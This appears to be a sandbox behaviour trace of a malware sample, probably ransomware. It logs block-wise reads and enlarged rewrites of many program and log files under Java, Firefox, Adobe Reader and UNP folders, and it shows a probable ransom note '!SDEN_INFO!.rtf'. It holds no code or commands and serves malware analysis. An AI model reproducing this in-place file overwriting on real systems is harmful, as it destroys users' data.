File	Create	filename = C:\Logs\Microsoft-Windows-HotspotAuth%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-HotspotAuth%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-HotspotAuth%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-HotspotAuth%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-HotspotAuth%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-SMBServer%4Connectivity.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-SMBServer%4Connectivity.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-SMBServer%4Connectivity.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SMBServer%4Connectivity.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SMBServer%4Connectivity.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Winlogon%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Winlogon%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Winlogon%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Winlogon%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Winlogon%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\javacpl.cpl, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\javacpl.cpl, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\javacpl.cpl, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\javacpl.cpl, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\javacpl.cpl, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\orbd.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\orbd.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\orbd.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\orbd.exe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\unpack200.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\unpack200.exe, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\unpack200.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\unpack200.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\unpack200.exe, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\PYCC.pf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\PYCC.pf, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\PYCC.pf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\PYCC.pf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\PYCC.pf, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_ko.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_ko.properties, size = 5712, size_out = 5712	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_ko.properties, size = 7128	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy.jar, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy.jar, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy.jar, size = 9608	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy.jar, size = 61440	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy.jar, size = 8192	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunjce_provider.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunjce_provider.jar, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunjce_provider.jar, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunjce_provider.jar, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunjce_provider.jar, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightRegular.ttf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightRegular.ttf, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightRegular.ttf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Dhcp-Client%4Admin.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Dhcp-Client%4Admin.evtx, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_LinkDrop32x32.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_LinkDrop32x32.gif, size = 168, size_out = 168	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_LinkDrop32x32.gif, size = 1584	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfxswt.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfxswt.jar, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfxswt.jar, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfxswt.jar, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfxswt.jar, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\net.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\net.properties, size = 4464, size_out = 4464	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\net.properties, size = 5880	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\java.security, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\java.security, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\java.security, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\java.security, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\java.security, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\THIRDPARTYLICENSEREADME-JAVAFX.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\THIRDPARTYLICENSEREADME-JAVAFX.txt, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\THIRDPARTYLICENSEREADME-JAVAFX.txt, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\THIRDPARTYLICENSEREADME-JAVAFX.txt, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\THIRDPARTYLICENSEREADME-JAVAFX.txt, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\browser\features\clicktoplay-rollout@mozilla.org.xpi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\browser\features\clicktoplay-rollout@mozilla.org.xpi, size = 5867, size_out = 5867	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\features\clicktoplay-rollout@mozilla.org.xpi, size = 7283	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\crashreporter.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\!SDEN_INFO!.rtf, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\!SDEN_INFO!.rtf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\!SDEN_INFO!.rtf, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\maintenanceservice.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\maintenanceservice.exe, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Mozilla Firefox\maintenanceservice.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\maintenanceservice.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\maintenanceservice.exe, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\removed-files, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\removed-files, size = 646, size_out = 646	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\release, size = 2062	1	Fn Data
File	Create	filename = C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ca-ES\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ca-ES\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ca-ES\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ca-ES\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ca-ES\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-GB\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-GB\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-GB\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-GB\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-GB\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-AR\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-AR\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-AR\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-AR\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-AR\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-BE\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-BE\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-BE\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-BE\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-BE\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\is-IS\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\is-IS\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\is-IS\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\is-IS\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\is-IS\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nb-NO\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nb-NO\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nb-NO\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nb-NO\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nb-NO\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\jquery-3.1.1.min.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\jquery-3.1.1.min.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\jquery-3.1.1.min.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\jquery-3.1.1.min.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\jquery-3.1.1.min.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ru-RU\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ru-RU\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ru-RU\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ru-RU\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ru-RU\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-HK\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-HK\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-HK\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-HK\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-HK\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.009.etl, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.009.etl, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.009.etl, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.009.etl, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.009.etl, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Windows Mail\wab.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\Windows Mail\wab.exe, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Windows Security\vt mapping.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\Windows Security\vt mapping.exe, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Edit_R_Full.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Edit_R_Full.aapp, size = 402, size_out = 402	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Edit_R_Full.aapp, size = 1818	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Protect_R_RHP.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Protect_R_RHP.aapp, size = 442, size_out = 442	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Protect_R_RHP.aapp, size = 1858	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe, size = 61440, size_out = 61440	8	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe, size = 8192, size_out = 8192	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe, size = 9608	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe, size = 61440	8	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe, size = 32768	1	Fn Data
